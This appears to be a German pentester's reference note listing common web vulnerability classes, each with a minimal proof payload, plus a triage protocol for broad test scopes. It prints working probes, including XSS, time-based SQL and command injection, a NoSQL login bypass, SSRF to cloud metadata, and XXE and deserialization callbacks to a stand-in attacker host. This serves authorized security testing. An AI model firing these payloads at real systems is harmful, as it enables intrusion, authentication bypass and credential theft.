Gängige Web-Schwachstellen.
Der kanonische Schwachstellenkatalog: jede Klasse mit mindestens einem konkreten Proof-Muster. Der meistreferenzierte Eintrag im Index.
Minimum-Proof-Pattern pro Klasse
- Reflected XSS.
?q=<svg/onload=alert(1)>unencoded im HTML-Kontext reflektiert. Bestätigt HTML-Injection ohne die Seite zu zerbrechen. - Stored XSS. Gleicher Payload via Form submitted, beim zweiten Page-Load von anderem User abgerufen. Source ≠ Sink ist der Beweis.
- SQL Injection.
id=1' AND SLEEP(5)--mit 5-Sekunden-Response-Delay. Time-Based bestätigt ohne Datenleak. - NoSQL Injection. JSON-Body
{"user":"admin","pass":{"$ne":""}}→ als admin authentifiziert. Mongos häufigste Fußfalle. - Command Injection.
?host=127.0.0.1;sleep%205auf einem Ping-Endpoint, Response 5s verzögert. Immer mit Time-Based starten, nie mit Data-Exfil. - SSRF.
?url=http://169.254.169.254/latest/meta-data/gibt Instance-Metadata zurück. Cloud-spezifischer Beweis, weniger ambig als Internal-Network-Reach. - Untrusted Deserialisierung (Java). ysoserial CommonsCollections5 Payload → DNS-Callback auf Angreifer-Domain. Beweist Code-Execution ohne Files zu schreiben.
- XXE.
<!ENTITY xxe SYSTEM "http://attacker/p">im XML-Body → HTTP-Callback empfangen. Out-of-Band-Variante beweist, dass der Parser fetcht. - File-Upload zu RCE. Upload
shell.jsp.png, Request/uploads/shell.jsp.png→ executes als JSP wegen Double-Extension oder MIME-Mishandling. - IDOR. User A erstellt Ressource
/api/orders/1234, User B requested gleiche URL → 200 OK mit A's Daten. Zwei Test-Accounts sind für den Beweis Pflicht. - CSRF. Action-Endpoint akzeptiert POST ohne Anti-CSRF-Token. Form aus Angreifer-Origin-HTML submitten, Action executes.
- Open Redirect.
?next=//evil.comliefert 302 auf Angreifer-Host. Nützlich als Kettenelement, allein schwacher Befund. - Subdomain-Takeover. DNS-CNAME zeigt auf SaaS-Host, der den Record nicht beansprucht. Ressource auf der SaaS registrieren → Angreifer-Content unter Ziel-Domain ausliefern.
Triage-Protokoll bei riesigem Scope und null Intel
- Katalog top-to-bottom gegen jede erreichbare Oberfläche. Eine Probe pro Klasse, Minuten-Timeouts, alles loggen.
- Alles, was eine Non-Baseline-Response liefert → für manuelles Follow-up flaggen. Im ersten Pass nicht tieftauchen.
- Nach Full-Sweep Flags nach Ausnutzbarkeit × Impact sortieren. Top drei nehmen; Rest ignorieren bis die durch sind.
- Pro Top-Flag die volle Kette bauen (Proof → Impact → Remediation). Erst weiter wenn niedergeschrieben.
FaustregelEin Proof-Pattern, das die Seite nicht zerbricht, ist mehr wert als eines, das es tut. Time-Based- und Out-of-Band-Proofs überstehen WAFs, befriedigen den Reproducer des Kunden und triggern während des Testens keine user-sichtbaren Errors.
Verwandte Notizen in dieser Domain
Von der Referenz zum Befund